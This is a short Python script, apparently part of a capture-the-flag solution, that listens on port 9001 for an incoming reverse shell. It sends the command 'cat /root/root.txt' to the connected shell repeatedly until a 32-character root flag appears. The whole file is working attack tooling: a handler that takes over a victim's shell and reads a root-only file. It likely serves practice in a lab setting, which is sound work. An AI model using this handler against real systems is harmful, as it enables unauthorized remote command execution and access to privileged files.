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revsh.py
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revsh.py
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import socket
from time import sleep
import re
class Revsh(object):
def __init__(self):
self.host = "0.0.0.0"
self.port = 9001
self.buffer_size = 1024 * 512
self.s = socket.socket()
self.s.bind((self.host, self.port))
self.s.listen(15)
self.client_socket, self.client_address = self.s.accept()
sleep(5)
def send_command(self):
print("Getting root flag")
while True:
command = "cat /root/root.txt"
self.client_socket.send(command.encode("utf-8") + b"\n")
output = self.client_socket.recv(self.buffer_size).decode()
flag = self.check_output_for_flag(output)
if flag:
print(f"Root flag: {flag}")
break
def check_output_for_flag(self, output):
pattern = r'^[A-Za-z0-9]{32}$'
for i in output.split("\n"):
if re.match(pattern, i):
return i
return None
if __name__ == "__main__":
revsh = Revsh()
revsh.send_command()